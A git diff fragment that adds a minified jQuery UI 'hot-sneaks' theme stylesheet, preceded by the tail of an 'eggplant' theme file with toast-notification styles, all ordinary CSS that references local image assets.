p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/eggplant/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/eggplant/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/eggplant/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/eggplant/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/eggplant/images/error.png)}.toast-type-notice{color:#fff}.toast-type-success{color:#fff}.toast-type-warning{color:#000;background:#ffdb1f;border-color:#000}.toast-type-error{color:#fff;background:#994d53}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%}.std-icon-color{color:#dcd9de;text-shadow:-1px -1px 0 #30273a,0 -1px 0 #30273a,1px -1px 0 #30273a,1px 0 0 #30273a,1px 1px 0 #30273a,0 1px 0 #30273a,-1px 1px 0 #30273a,-1px 0 0 #30273a}.inverted-icon-color{left:-1px;color:#30273a;width:25px} \ No newline at end of file diff --git a/assets/jqueryui/hot-sneaks/jquery-ui.min.css b/assets/jqueryui/hot-sneaks/jquery-ui.min.css new file mode 100644 index 0000000..6e35a0a --- /dev/null +++ b/assets/jqueryui/hot-sneaks/jquery-ui.min.css @@ -0,0 +1 @@ +.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/hot-sneaks/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #93c3cd;background:#94a5b8!important}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #93c3cd}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/hot-sneaks/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;border:1px solid #93c3cd}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #93c3cd}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;#padding:.2em .2em 0 -webkit-border-bottom-left-radius:0px;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;padding:0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Gill Sans,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Gill Sans,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #93c3cd}.ui-widget-content{border:1px solid #aaa;background:#fff;color:#2c4359}.ui-widget-content a{color:#2c4359}.ui-widget-header{border:1px solid #2c4359;background:#35414f url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-small_35_35414f_2x2.png) 50% 50% repeat;color:#e1e463;font-weight:700}.ui-widget-header a{color:#e1e463}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #93c3cd;background:#93c3cd url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_93c3cd_40x40.png) 50% 50% repeat;font-weight:700;color:#333}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#333;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #999;background:#ccd232 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_75_ccd232_40x40.png) 50% 50% repeat;font-weight:700;color:#212121}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#212121;text-decoration:none}.ui-visual-focus{-webkit-box-shadow:0 0 3px 1px #5e9ed6}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #ff6b7f;background:#db4865 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_40_db4865_40x40.png) 50% 50% repeat;font-weight:700;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#ff6b7f;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #b4d100;background:#ffff38 url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-medium_80_ffff38_4x4.png) 50% 50% repeat;color:#363636}.ui-state-checked{border:1px solid #b4d100;background:#ffff38}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #ff6b7f;background:#ff3853 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_ff3853_40x40.png) 50% 50% repeat;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_c02669_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_e1e463_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_c02669_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_ffffff_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_88a206_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_ffeb33_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/hot-sneaks/images/ui-icons_88a206_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:4px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:4px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:4px}.ui-widget-overlay{background:#f7f7ba url(assets/jqueryui/hot-sneaks/images/ui-bg_white-lines_85_f7f7ba_40x100.png) 50% 50% repeat;opacity:.8;filter:Alpha(Opacity=80)}.ui-widget-shadow{-webkit-box-shadow:8px 8px 10px #ba9217}.hourglass{background:url(assets/jqueryui/hot-sneaks/images/hourglass-dark-red.gif)}.progress-val{position:absolute;font-weight:700;color:#e1e463;text-shadow:-1px -1px 0 #333333,0 -1px 0 #333333,1px -1px 0 #333333,1px 0 0 #333333,1px 1px 0 #333333,0 1px 0 #333333,-1px 1px 0 #333333,-1px 0 0 #333;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 